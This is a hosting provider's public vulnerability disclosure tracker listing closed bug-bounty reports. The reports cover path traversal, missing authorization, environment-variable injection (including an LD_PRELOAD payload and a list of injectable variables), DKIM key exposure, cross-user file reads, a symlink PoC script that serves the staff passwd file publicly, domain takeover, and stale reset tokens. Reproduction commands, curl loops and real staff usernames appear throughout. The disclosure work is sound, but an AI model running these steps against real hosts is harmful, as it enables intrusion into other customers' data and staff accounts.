Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 449  Service Working Directory Path Traversal Allows Filesys ...Closed19.08.2026 Task Description

## Description
The Alwaysdata Service feature does not properly restrict the Working Directory to the user's authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.

The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.

## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal

## Steps to Reproduce
1. Log in to an Alwaysdata account.
2. Go to Services and create a new service.
3. Set the command to:

ls

4. Set the Working Directory to a traversal path that escapes the authorized directory.

../../
../victim/www
../../root/

5. Start the service.
6. Open the service Logs.
7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user's authorized path.

For example, the service logs returned root-level directories including:

alwaysdata
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
nfs
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

## Impact
An authenticated user can bypass the intended Working Directory restriction and:

* Enumerate directories outside the authorized path.
* Obtain filenames and directory names.
* Determine whether specific filesystem paths exist.
* Disclose filesystem structure through service logs.

The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.

## Actual Behavior
The Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.

## Expected Behavior
The Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.

## Proof Of Concept
Drive_Link → https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing

## Summary
An authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.

Thanks

 446  Missing Authorization Check Allows Unauthenticated Acce ...Closed19.08.2026 Task Description

Hi Team We have Found a Vulnerability in your Website.

Target: security.alwaysdata.com

Endpoint: https://security.alwaysdata.com/task/<id> (individual task pages),
https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1 (RSS feed)
Severity: P2 — Medium/High

security.alwaysdata.com is alwaysdata's own Flyspray-based vulnerability disclosure and bug bounty intake tracker. The authorization check that correctly restricts access to task pages (Error #102: You have no permission to view this task) is not applied once a task's status is changed to Closed. Any unauthenticated user can browse /task/<id> for a closed task and receive the full report body — title, description, complete reproduction steps, PoC scripts, affected infrastructure hostnames, internal usernames, and private staff/reporter comment threads.

This is not limited to one task. Testing across six closed tasks spanning different vulnerability classes and dates confirms the behavior is systemic, not an isolated misconfiguration on a single report. An accompanying open (unpatched) task was correctly blocked under identical, cookie-free request conditions, isolating the defect specifically to the closed-status code path rather than a site-wide access control failure.

Root CauseThe task detail view in Flyspray renders a Private field in its metadata table, but that field was empty on the tested task (confirmed by inspecting the rendered HTML — no private value or class was present). This means the exposure is not an override of an explicit Private flag. The actual defect is narrower and more precise:

The authorization check that gates task visibility is not invoked — or is bypassed — once a task's status transitions to Closed.

Evidence for this: an open task ( FS#444 ) under the exact same unauthenticated request conditions returns Error #102: You have no permission to view this task, logging in might help. The moment a task is closed, that same check no longer applies. Status, not the Private flag, is the variable that determines whether the authorization check runs.

CWE-862 — Missing Authorization is the precise classification: the system fails to perform an authorization check for a resource in one specific state (closed), while correctly performing it in another (open).

Proof of Concept All requests below were made with –cookie-jar /dev/null –cookie /dev/null, guaranteeing zero session state — no prior login, no leftover cookies, fully anonymous.

Step 1 — Control: open (unpatched) task correctly requires authentication
curl -s "https://security.alwaysdata.com/task/444" \

  1. -cookie-jar /dev/null –cookie /dev/null

Response includes:

Error #102: You have no permission to view this task, logging in might help.
No task title, description, or body content is returned — only the shell page and login form.

Step 2 — Closed task renders full content, zero authentication
curl -s "https://security.alwaysdata.com/task/440" \

  1. -cookie-jar /dev/null –cookie /dev/null

Returns HTTP 200 with the complete task page, including:

Full title:  FS#440  - Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink
Status field: Closed
Opening description paragraph of the vulnerability
Redacted excerpt (sensitive reproduction steps, PoC script, and internal usernames omitted — see Impact section for what was present in the full response):

Status: Closed
Assigned To: cbay
Opened by Bores - 10.08.2026
Last edited by cbay - 10.08.2026

 FS#440  - Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink

The fix for  FS#426  removed staff entries from NSS (`getent passwd` now returns
empty for staff), but the files themselves were not restricted…

[Report continues with full SSH reproduction steps, a working PoC bash script,
specific staff usernames, and internal staff comments discussing bounty payout —
omitted from this report to avoid redistributing sensitive data already exposed
by the underlying access control failure being reported here.]

Step 3 — Confirm zero session state and quantify the content disparity
echo "=== Closed task ( FS#440 ) ==="
curl -s –cookie-jar /dev/null –cookie /dev/null \

"https://security.alwaysdata.com/task/440" | wc -l

echo "=== Open task ( FS#444 ) ==="
curl -s –cookie-jar /dev/null –cookie /dev/null \

"https://security.alwaysdata.com/task/444" | wc -l

Result:

Closed task (FS#440)

451

Open task (FS#444)

136
Both requests use identical, empty cookie jars. The closed task returns 3.3x more content — the full report body — while the open task returns only the login-gated shell page. This isolates the defect to task status, ruling out session leakage or caching artifacts as an explanation.

Step 4 — Confirm the pattern is systemic across multiple closed tasks
for id in 401 415 423 426 440 443; do

echo "=== task/$id ==="
curl -sk -o /tmp/task_$id.html -w "HTTP:%{http_code}\n" \
  "https://security.alwaysdata.com/task/$id"
grep -o '<title>[^<]*</title>' /tmp/task_$id.html

done
Result — all six closed tasks return HTTP 200 with full titles rendered, unauthenticated:

task/401

HTTP:200
<title> FS#401  : Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak</title>

task/415

HTTP:200
<title> FS#415  : SSTI → RCE on Core Infrastructure Server (overlord-core)</title>

task/423

HTTP:200
<title> FS#423  : Broken Object Level Authorization (IDOR) → Mass PII Disclosure</title>

task/426

HTTP:200
<title> FS#426  : Internal staff account and privilege hierarchy disclosure via SSH</title>

task/440

HTTP:200
<title> FS#440  : Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink</title>

task/443

HTTP:200
<title> FS#443  : Authenticated API Disclosure of DKIM Private Keys</title>
[Screenshot 4 — attach here: full terminal output of this loop]

Step 5 — Independent surface: RSS feed leaks the same data without authentication
curl -sk "https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1"
Returns task titles, authors, and publish dates for recently filed reports without authentication — including reports as recent as 2–3 days old at test time ( FS#442 ,  FS#443 ). This confirms a second, independent code path exposes the same underlying data, and that newly filed reports enter the exposed state quickly.

Impact What is exposed, concretely, right now, to any unauthenticated internet user:

Complete vulnerability disclosure content for every closed report on the tracker, including:

Exact vulnerable endpoints and affected infrastructure hostnames
Full reproduction steps, in some cases including working exploit/PoC scripts
CVSS scores and severity classifications
Internal staff usernames and reporter identities
Private comment threads between alwaysdata staff and reporters

2)A live reconnaissance dataset spanning multiple vulnerability classes, confirmed present across the six tasks tested alone: SSRF ( FS#401 ), server-side template injection leading to RCE ( FS#415 ), IDOR/mass PII disclosure ( FS#423 ), internal account disclosure ( FS#426 ), symlink-based file exposure ( FS#440 ), and API key disclosure ( FS#443 ). The RSS feed additionally surfaces titles for further reports ( FS#427 ,  FS#429 ,  FS#430 ,  FS#432 ,  FS#433 ,  FS#442 ) not deep-tested here but following the identical exposure pattern.

3)A demonstrated fix-verification gap. The tracker's own history shows this is not a theoretical risk:  FS#426  was closed as fixed, and within 6 days a bypass of that exact fix was filed as  FS#440  — the bypass author could only have known the precise remediation detail (which NSS entries were removed, without the underlying file permissions being fixed) by reading the closed  FS#426  report on this same publicly-accessible tracker.

4)Real-time exposure of new reports. The RSS feed surfaces new task titles within hours of filing, meaning the window between "vulnerability reported" and "details become guessable/discoverable via title" is effectively zero, independent of whether the underlying bug has been fully remediated across all affected infrastructure.

5)Attack surface mapping at scale. Two years of closed reports on this tracker constitute a complete map of every vulnerability class alwaysdata's own infrastructure has been susceptible to, the exact endpoints involved, and in several cases exploit code — usable by an attacker to identify recurring weak points (e.g., the file-permission/symlink issue spanning both  FS#426  and  FS#440 ) without ever probing the live application themselves.

Remediation Immediate:

Enforce the same authorization check on closed tasks that is currently correctly applied to open tasks. Task visibility must be gated by project membership/authentication regardless of status.
Audit the Flyspray permission configuration for the "Security vulnerabilities" project to identify why the anonymous-access check is being bypassed specifically for closed-status tasks — this is most likely a conditional in the task-rendering logic that special-cases closed tasks (e.g., for public changelog purposes) without accounting for the confidentiality requirement of a private security tracker.

RSS feed:

Require authentication for /feed.php or disable it for the Security vulnerabilities project.
If transparency is a goal:

Publish a separate, manually curated advisories page with sanitized summaries only, released on a fixed delay (e.g., 90 days) after full remediation is verified across all affected infrastructure — do not rely on the tracker's native closed-task view for this purpose.

Kind Regards
Team TrinityXploit

 445  High — FS#390 Incomplete Fix: Runtime-Control Environme ...Closed19.08.2026 Task Description

Subject: High Severity —  FS#390  Incomplete Fix: Runtime-Control Environment Variable Injection via Site API

Hello alwaysdata Security Team,

I am reporting a High Severity incomplete-fix vulnerability related to  FS#390 , concerning runtime-control environment variable injection through the Site API.

### Researcher

Hacker AK Security Researcher
Email: [hackerak822@gmail.com](mailto:hackerak822@gmail.com)

### Severity

High — CVSS 3.1: 8.8

```text
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```

### Summary

The previously reported  FS#390  vulnerability allowed customer-controlled environment variables to influence application process startup through the alwaysdata Site API.

The original issue involved the `LD_PRELOAD` environment variable. Although the original vulnerability was fixed, the broader security boundary around runtime-control environment variables should also prevent equivalent startup mechanisms.

The affected functionality is:

```http
PATCH /v1/site/{SITE_ID}/
```

through the:

```json
{"environment":"<VARIABLE>=<VALUE>"}
```

field.

Runtime-control variables such as `NODE_OPTIONS`, `PYTHONSTARTUP`, `RUBYOPT`, `PERL5OPT`, and `BASH_ENV` can influence interpreter startup and may provide an attacker-controlled code-execution primitive.

### Original  FS#390  Context

The original vulnerability involved:

```text
LD_PRELOAD=/tmp/evil.so
```

through the `environment` field.

The original  FS#390  issue was fixed on July 13, 2026.

### Primary Proof of Concept

The primary validation payload is:

```text
NODE_OPTIONS=–version
```

Request:

```bash
curl -s -o /tmp/out.json -w "HTTP:%{http_code}\n" \

  1. -basic –user "$APIKEY:" \
  2. H "Content-Type: application/json" \
  3. d '{"environment":"NODE_OPTIONS=–version"}'

```

The purpose of this PoC is to verify whether the Site API security control covers runtime-control environment variables beyond the originally reported `LD_PRELOAD`.

### Security Impact

If a runtime-control variable is accepted and persisted, it can influence application startup.

For example:

```text
NODE_OPTIONS=–require /path/to/module.js
```

can cause Node.js to load a module automatically during startup.

Potential impact includes:

* Arbitrary code execution as the site user
* Access to application environment variables
* Exposure of API keys and database credentials
* Modification of application files
* Application-level persistence
* Runtime manipulation

### Recommended Remediation

The preferred remediation is to use a strict allowlist for customer-controlled environment variables rather than maintaining an expanding denylist.

Recommended controls:

1. Allow only explicitly permitted environment-variable names.
2. Normalize variable names before validation.
3. Reject leading/trailing whitespace and malformed definitions.
4. Validate both variable names and values.
5. Apply validation consistently across all Site API management paths.
6. Ensure application processes receive only explicitly permitted environment variables.

### Regression Tests

The following runtime-control variables should be covered by the security validation:

```text
LD_PRELOAD=canary
LD_LIBRARY_PATH=canary

NODE_OPTIONS=–version
NODE_PATH=canary

PYTHONSTARTUP=canary
PYTHONPATH=canary
PYTHONHOME=canary
PYTHONINSPECT=1

RUBYOPT=canary
RUBYLIB=canary

PERL5OPT=canary
PERL5LIB=canary

BASH_ENV=canary
ENV=canary

JAVA_TOOL_OPTIONS=canary
_JAVA_OPTIONS=canary
```

Normalization variants should also be tested:

```text
ld_preload=canary
Ld_Preload=canary
LD_PRELOAD =canary
```

### Impact

An authenticated attacker with the required Site API permissions could potentially use a permitted runtime-control environment variable to influence the startup behavior of their hosted application.

If code execution is confirmed, the attacker could potentially:

* Execute arbitrary code as the site user
* Read application secrets
* Access environment credentials
* Modify application files
* Establish persistence
* Affect application availability and integrity

Severity: High — CVSS 3.1: 8.8

### Requested Action

Please verify that the  FS#390  remediation protects against the complete class of runtime-control environment variable injection, rather than only the originally reported `LD_PRELOAD` value.

The security requirement should be:

Customer-controlled environment variables must not be capable of modifying interpreter, loader, shell, or JVM startup behavior.

Thank you for reviewing this security report.

Regards,

Hacker AK Security Researcher
[hackerak822@gmail.com](mailto:hackerak822@gmail.com)

Testing Date: 2026-08-16

 443  Authenticated API Disclosure of DKIM Private Keys Closed13.08.2026 Task Description

Description

I identified a sensitive information disclosure vulnerability in the AlwaysData REST API affecting the Domain API resource.

An authenticated API user can request:

GET /v1/domain/

or an individual domain:

GET /v1/domain/{domain_id}/

and the API response contains the complete dkim_private_key value for the domain.

The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData's own documentation, the DKIM private key is intended to be known only to and kept secret by the domain's mail delivery servers, while the public key is published through DNS. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.

CVSS → CVSS v3.1: 7.5 (High)

Steps to Reproduce 1. Obtain an authorized AlwaysData API token. Use an API token belonging to an account you control.AlwaysData documents API authentication using the API token followed by a colon.

2. Request the domain collection

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/'

3. Observe the response
The API returns domain objects containing:

{
    "id": 130581,
    "name": "www.dam.com",
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[REDACTED]",
    "dkim_private_key": "[REDACTED]"
}

The actual dkim_private_key value contains a complete RSA private key.

4. Verify an individual domain
Example:

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/130581/'

The response again contains:

"dkim_private_key": "[REDACTED]"

5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.

For safety, I have not included the actual private-key material in this report.

Actual Behavior The authenticated Domain API returns the domain's complete DKIM private key in the JSON response.

The private key is exposed through:

GET /v1/domain/
GET /v1/domain/{domain_id}/

This means an API consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.

Expected Behavior

The API should never return the DKIM private key through normal domain API responses.

If the private key is required for an administrative operation, it should remain server-side and should not be serialized into API responses.

The API response should expose only non-sensitive information such as:

{
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[public key]"
}

and omit:

"dkim_private_key"

Impact

The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData's documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.

If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.

This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.

The vulnerability therefore represents confidentiality loss of cryptographic credentials.

Business Impact

Potential business impact includes:

1- Exposure of customers' cryptographic signing secrets.
2- Potential compromise of email-authentication trust for affected domains.
3- Increased risk of domain impersonation/phishing scenarios.
4- Potential reputational damage to customers whose domains are affected.
5- Requirement to regenerate/revoke affected DKIM keys.
6- Incident-response and customer-notification costs if production keys are exposed.

Remediation 1- Remove dkim_private_key from all API responses.
2- Return only the DKIM public key and selector where required.
3- Keep private DKIM keys exclusively server-side.
4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint.
5- Audit API permissions to ensure private cryptographic material cannot be retrieved through any other endpoint.
6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised.
7- Review API and application logs to determine whether sensitive keys were accessed by unauthorized parties.

PoC Kindly check attachments

Conclusion

The AlwaysData Domain API currently exposes complete DKIM private keys to authenticated API clients through both the domain collection and individual-domain endpoints.

I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers' private information.

The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from API responses and rotating affected DKIM credentials.

Thanks
Add regression tests ensuring secret fields such as private keys are never serialized in normal API responses.

 442  Cross-User File Read / Insecure File Permissions Leadin ...Closed13.08.2026 Task Description

Description

A cross-user file access vulnerability was identified in the shared hosting environment. The authenticated user remberme is able to read files owned by other users, such as:

/tmp/dashboard.env.local.bak

The file is owned by another account:

Owner: davidgoncalves
Group: davidgoncalves
Permissions: 664

The permission mode 664 grants read access to users outside the file owner/group through the other::r– permission.

Using the remberme account, I successfully verified that the file is readable, demonstrating a violation of expected cross-user filesystem isolation.

CVSS → CVSS v3.1: 7.0 (High)

The severity may increase if the affected files contain credentials, API keys, private source code, customer information, or other sensitive data.

Steps to Reproduce

1- Log in to the hosting environment using a normal account, e.g.: remberme@ssh1

2- Identify a file belonging to another user: stat -c 'owner=%U group=%G mode=%a file=%n' /tmp/dashboard.env.local.bak

3- The file reports:

owner=davidgoncalves
group=davidgoncalves
mode=664

4- Check the ACL: getfacl -p /tmp/dashboard.env.local.bak

5- The output confirms:

user::rw-
group::rw-
other::r--

6- While authenticated as remberme, verify read access: test -r /tmp/dashboard.env.local.bak && echo "READABLE" || echo "NOT_READABLE"

7- The result is: READABLE

8- A non-destructive read test was performed:

head -c 1 /tmp/dashboard.env.local.bak >/dev/null 2>&1 \
&& echo "CROSS-USER READ CONFIRMED" \
|| echo "READ FAILED"

9- Result: CROSS-USER READ CONFIRMED
No modification, deletion, or execution of the other user's file was performed.

Actual Behaviour

A normal authenticated user is able to obtain read access to a file owned by another user/account. This demonstrates insufficient filesystem isolation between users in the shared hosting environment.

Expected Behaviour

Files belonging to another customer/user should not be readable by an unrelated authenticated account unless explicitly shared. The platform should enforce strict per-user filesystem isolation and ensure that customer-owned files are inaccessible to other customers.

Impact An attacker with a valid low-privileged hosting account could potentially enumerate and read files belonging to other users when those files are created with overly permissive permissions.

Depending on the affected files, this could expose:

1- Application source code
2- Configuration files
3- Database credentials
4- API keys/tokens
5- Environment variables
6- Internal application data
7- Customer-specific information
8- Backup files

The demonstrated .env.local.bak filename is particularly concerning because environment/backup files commonly contain application configuration and secrets.

Business Impact

This issue breaks the fundamental tenant isolation expected from a multi-user hosting platform.

Successful exploitation could allow one customer to access another customer's confidential application data or credentials, potentially resulting in:

1- Customer data exposure
2- Credential/API-key compromise
3- Unauthorized access to external services
4- Loss of customer trust
5- Privacy and compliance concerns
6- Increased impact from chained attacks

The business impact depends on the sensitivity of the files exposed through the insecure permissions.

Conclusion

The testing demonstrates that the remberme account can read a file owned by the unrelated davidgoncalves account due to permissive filesystem permissions.

The issue is therefore reproducible and not merely theoretical. I recommend enforcing strict per-user filesystem isolation and preventing files created by one customer from being readable by other customers by default.

Thanks

 440  Incomplete Fix for FS#426 - Staff Files Still Publicly  ...Closed10.08.2026 Task Description

The fix for  FS#426  removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted. /alwaysdata/etc/passwd and /alwaysdata/etc/group remain mode 644 and can be read directly via `cat` from any SSH session.

Worse: because Apache uses FollowSymLinks without SymLinksIfOwnerMatch, an SSH user can symlink these files into ~/www/ and serve them over HTTPS to anyone on the internet without authentication. This escalates the exposure from "SSH-only" ( FS#426 ) to "public internet."

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
https://[account].alwaysdata.net/ (Apache with FollowSymLinks)
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
1. Files not restricted after  FS#426  fix (still -rw-r–r–)
2. Apache follows symlinks pointing outside DocumentRoot regardless of target ownership

Steps to reproduce:

1. SSH in:

ssh bores@ssh-bores.alwaysdata.net

2. Confirm  FS#426  fix is in place (NSS no longer exposes staff):

$ getent passwd | grep "/alwaysdata/home/"
(no output)

3. File still readable directly:

$ cat /alwaysdata/etc/passwd
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ ls -l /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd

4. Symlink into web root and serve publicly:

$ ln -sf /alwaysdata/etc/passwd ~/www/staff
$ ln -sf /alwaysdata/etc/group ~/www/roles

5. Fetch from anywhere (no auth, no SSH needed):

$ curl https://bores.alwaysdata.net/staff
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ curl https://bores.alwaysdata.net/roles
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce

6. Negative control (root-only file blocked as expected):

$ ln -sf /etc/shadow ~/www/shadow
$ curl https://bores.alwaysdata.net/shadow
403 Forbidden

7. Cleanup:

$ rm ~/www/staff ~/www/roles ~/www/shadow

PoC script (run from any machine with sshpass + curl):

#!/bin/bash
# Usage: bash poc.sh <account> <password>
ACCOUNT="$1"; PASSWORD="$2"
SSH="ssh-${ACCOUNT}.alwaysdata.net"
WEB="https://${ACCOUNT}.alwaysdata.net"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'ln -sf /alwaysdata/etc/passwd ~/www/poc_staff && ln -sf /etc/shadow ~/www/poc_shadow'
echo "Staff file:" && curl -s "${WEB}/poc_staff"
echo "Shadow (should 403):" && curl -s -o /dev/null -w "%{http_code}" "${WEB}/poc_shadow"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'rm -f ~/www/poc_staff ~/www/poc_shadow'

Impact:
- Same data as  FS#426 , but now served to the public internet (no SSH required to view)
- Any world-readable system file can be exposed this way (/etc/passwd, /etc/mysql/mariadb.cnf, etc.)
- An attacker only needs to share the URL; the recipient needs no account or credentials to see staff data

Tested on my own account only. Symlinks removed after each test.

Suggested fix:
1. chmod 640 /alwaysdata/etc/passwd /alwaysdata/etc/group (root:alwaysdata_team)
2. Switch customer vhosts to Options SymLinksIfOwnerMatch
Either one blocks this; both together for defense in depth.

 438  Title: Domain Transfer Logic Flaw Allows Domain Takeove ...Closed18.08.2026 Task Description

Severity: Critical

Description

There is a logic flaw in the domain transfer workflow that allows a previously created transfer request to remain valid and executable even after the domain has already been transferred to another user.

The application does not invalidate or revalidate pending transfer requests when the domain’s ownership or state changes. As a result, an attacker can create a transfer request targeting an email address they control, retain this request, and then allow the domain to be legitimately transferred to the victim’s account.

After the transfer is completed, the previously created transfer request remains valid. The attacker can therefore use it at a later time to transfer the domain from the victim’s account to an account controlled by the attacker.

In other words, the attacker can retain a persistent path to take over the domain even after the domain has become owned by the victim.

Steps to Reproduce

  Create a domain from an attacker-controlled account.
  Navigate to Domain Settings → DNSSEC.
  Toggle the DNSSEC status between Active and Deactivated approximately 6 times.
  Create a transfer request for the domain to another account controlled by the victim.
  Have the victim accept the transfer request.
  During the short period before the transfer state is fully reflected, the attacker cancels the visible transfer request.
  The attacker immediately creates another transfer request for the domain to an email address they control.
  The transfer request accepted by the victim is processed, and the domain reaches the victim’s account.
  Despite the domain ownership having been transferred to the victim, the previously created transfer request by the attacker remains valid and usable.
  The attacker can later accept the old transfer request, causing the domain to be transferred from the victim’s account to the attacker’s account.

POC: https://admin.alwaysdata.com/support/95089/

Impact

The vulnerability results in unauthorized domain takeover with a persistent path to regain control of the domain.

The issue is not merely temporary access or unauthorized modification of a transfer request; the attacker can retain a valid transfer request that can be used later, even after ownership of the domain has been legitimately transferred to the victim.

After the domain is transferred to the attacker’s account, they can control the resources hosted on or associated with the domain, including, depending on the resources associated with it:

  The website associated with the domain.
  DNS configuration.
  Email addresses and mailboxes.
  Mailing Lists.
  Users associated with the domain.
  Databases and other resources associated with the domain.

Therefore, the ultimate impact is complete loss of domain ownership and control over the hosted infrastructure and resources associated with it, rather than merely manipulating a transfer request.

Suggested Remediation

Transfer Requests should be treated as stateful, single-use transactions and must not remain valid after the domain’s ownership or transfer state changes.

 433  Password Reset Tokens Not Invalidated After Password Ch ...Closed07.08.2026 Task Description

The admin panel password reset at admin.alwaysdata.com issues tokens with a 3-day validity window. When a user triggers multiple resets, using one token to change the password does not invalidate the others. An older sibling token remains fully functional and can overwrite the new password at any point within its 3-day lifetime, giving an attacker persistent account takeover that the victim cannot revoke.

Vulnerable endpoint: https://admin.alwaysdata.com/user/reset_password/ Token generation: https://admin.alwaysdata.com/password/lost/

ROOT CAUSE

Token validation does not include the current password hash. Django's default PasswordResetTokenGenerator binds tokens to the password hash, so any credential change voids all outstanding tokens. The custom implementation here validates only user_id, timestamp, and expiration. A consumed token correctly shows "invalid" on revisit (per-token single-use works), but unconsumed sibling tokens remain valid after a password change through a different token.

REPRODUCTION

Tested 2026-08-07, Chrome on Windows 11, production admin.alwaysdata.com. One test account owned by me.

1. Triggered two password resets for the same account within 6 seconds. Received Token A (timestamp 1786058809) and Token B (timestamp 1786058815).

2. Opened Token B. Reset form displayed. Set password to "TokenBProof_2026!" and submitted. Server returned 302 to /login/ (password changed).

 [Screenshot 1: Token B form with password visible]
 [Screenshot 2: redirect to /login/]

3. Opened Token A (issued before the password change). Reset form still displayed. Set password to "TokenAProof_ATO!" and submitted. Server returned 302 to /login/.

 [Screenshot 3: Token A form still active after password was already changed]
 [Screenshot 4: redirect to /login/]

4. On the login page, entered email + "TokenAProof_ATO!" and submitted. Server showed 2FA prompt ("You have enabled two-factor authentication, so please enter your security code"), confirming the stale token's password is now the active credential.

 [Screenshot 5: login form with credentials]
 [Screenshot 6: 2FA prompt]

Expected: Token A should show "invalid link" after the password was changed via Token B.
Actual: Token A remains functional and overwrites the new password.

IMPACT

An attacker who gains temporary access to a victim's email (phishing, shared workstation, corporate mail breach) can save one reset link. Even if the victim notices and resets their own password, the attacker's saved link remains valid for up to 3 days. Using it overwrites whatever password the victim set, completing account takeover.

On alwaysdata, this exposes: web hosting management, SSH access, databases, mailboxes, domain/DNS configuration, API tokens, and billing.

All testing was performed against my own accounts only. A standalone PoC script (poc.py) is attached.

SUGGESTED FIX

Include the password hash in token validation by switching to Django's built-in PasswordResetTokenGenerator. Alternatively, store a per-user token nonce and increment it on every password change, rejecting tokens with stale nonce values. Reducing the token lifetime from 3 days to 1 hour would also limit the exploitation window.

 432  Improper Cache Control Enabling Sensitive Data Exposure ...Closed05.08.2026 Task Description

Improper Cache Control Enabling Sensitive Data Exposure via Mobile Swipe Navigation
Target admin.alwaysdata.com
Vulnerability Class CWE-525: Use of Web Browser Cache Containing Sensitive Information / Improper Cache-Control
Report Date August 4, 2026
Reported By [ Waleed Anwar ]
Severity [ e.g. Medium — CVSS 3.1: . ]
Affected Endpoint(s) [ e.g. /dashboard, /account, /admin/* ]
Status [ New submission ]
1. Summary
The application at admin.alwaysdata.com fails to set adequate Cache-Control headers on pages containing session-authenticated or sensitive account data. On mobile browsers (iOS Safari / Android Chrome), swipe-based back/forward navigation restores a full-page snapshot from the browser's back-forward cache (bfcache) rather than issuing a fresh request to the server. As a result, sensitive content may remain visible to a subsequent user of the same device even after logout or session expiry.
2. Vulnerability Details
2.1 Root Cause
HTTP responses for authenticated pages do not include a strict no-store cache directive, or include a weaker directive that still permits browser-level storage of the rendered page. This allows swipe-gesture navigation on mobile browsers to render a cached snapshot of a previously authenticated state.
2.2 Observed Headers
GET /dashboard HTTP/1.1
Host: admin.alwaysdata.com

HTTP/1.1 200 OK
[ Cache-Control: <value observed, or note if header is absent> ]
[ Pragma: <value observed, or note if header is absent> ]
[ Expires: <value observed, or note if header is absent> ]
2.3 Expected / Recommended Headers
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
3. Steps to Reproduce
• Log in to admin.alwaysdata.com on a mobile browser (iOS Safari or Android Chrome) Navigate to a sensitive/authenticated page.
• Log out of the application
• Perform a swipe-back gesture (iOS edge-swipe or Android back gesture)
• Observe[ sensitive data was exposed, while in login page email and password was also shown].
4. Impact
• Shared/public device exposure: a subsequent user of the same device may view a previous user's authenticated session data via swipe navigation
• Post-logout data persistence: sensitive account information remains visible after the session has ended
• [ Add any additional impact confirmed during testing, e.g. exposure of specific data fields, tokens, or admin functionality ]
6. Recommended Remediation
• Apply Cache-Control: no-store, no-cache, must-revalidate, private to all responses containing session-bound or sensitive data
• Include a Pragma: no-cache header for legacy HTTP/1.0 client compatibility
• Send a Clear-Site-Data header on logout to purge cached data client-side
• For single-page app views, listen for the pageshow event and check event.persisted to force re-authentication or a fresh data fetch when a page is restored from bfcache
• Re-test explicitly with swipe-back gestures on iOS Safari and Android Chrome after remediation, not solely the desktop back button, as bfcache behavior differs by platform and browser engine.

Thank You,

Waleed Anwar

 430  Cross-Tenant Localhost Access via Shared Network Namesp ...Closed02.08.2026 Task Description

## Summary

Any SSH user on a shared hosting server can connect to TCP services running on localhost (127.0.0.1) that belong to other customers.

